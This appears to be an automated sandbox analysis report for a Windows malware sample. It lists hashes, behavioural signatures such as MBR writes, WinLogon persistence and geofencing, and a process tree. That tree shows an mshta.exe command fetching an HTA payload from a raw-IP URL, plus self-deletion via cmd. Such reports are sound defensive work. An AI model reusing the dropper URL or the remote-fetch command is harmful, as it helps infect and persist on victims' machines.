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Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 22:09

General

  • Target

    ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    ee853c3a359058ae44734912d6cf6cbe

  • SHA1

    1fa3b14ce55ef939a9bbb466e628ee11b33dba7e

  • SHA256

    4517bb5a59310e5412ab90e4e741bec4124990f61897672b75c7e1afe0e959e9

  • SHA512

    1cb670e54674e85f1cde5fd59aa5f4feea5cef2074e88604fa09012c277bc8e16b38209e28d53f2a7e4567f0ccded5ac056f5373d7945857881376b9e17a9ff5

  • SSDEEP

    49152:HIiEK54KS/mF2mEEjlavGhS5KDoy/8yCRgTpQGIdMp3dHJZ1gSRQFl0n:HIiEKT2GphSsDmiOrM1tJngoQbC

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=HVDPCYGS&2=i-s&3=18&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Writes to the Master Boot Record (MBR)
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Users\Admin\AppData\Roaming\protect.exe
      "C:\Users\Admin\AppData\Roaming\protect.exe" C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Writes to the Master Boot Record (MBR)
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=HVDPCYGS&2=i-s&3=18&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:4896
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EE853C~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3504
  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
    1⤵
    • Drops file in System32 directory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:4688
  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
    1⤵
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:1368

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\protect.exe

    Filesize

    2.3MB

    MD5

    ee853c3a359058ae44734912d6cf6cbe

    SHA1

    1fa3b14ce55ef939a9bbb466e628ee11b33dba7e

    SHA256

    4517bb5a59310e5412ab90e4e741bec4124990f61897672b75c7e1afe0e959e9

    SHA512

    1cb670e54674e85f1cde5fd59aa5f4feea5cef2074e88604fa09012c277bc8e16b38209e28d53f2a7e4567f0ccded5ac056f5373d7945857881376b9e17a9ff5

  • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-wal

    Filesize

    12KB

    MD5

    c5e3b697d9b4940cd90becc205e9ee10

    SHA1

    25124afe3388ce7b9933015bddeadace106ffb6e

    SHA256

    eaded89ecef06aafc382abd317752e1d8b174e8ecccb4bac777a27a32e454115

    SHA512

    8fd047b44d2bd6dbc3d7f9f3636940bc92189cabd29c688091deac0db4615e7a275d07a76c6b57f8fe68a4e64ff4e2ef072825e6015f75d4917a2551b8d11ba9

  • memory/404-21-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-25-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-35-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-13-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-15-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

    Filesize

    4KB

  • memory/404-20-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-34-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-12-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

    Filesize

    4KB

  • memory/404-26-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-27-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-33-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/404-29-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/3420-1-0x0000000001000000-0x0000000001001000-memory.dmp

    Filesize

    4KB

  • memory/3420-0-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

  • memory/3420-11-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB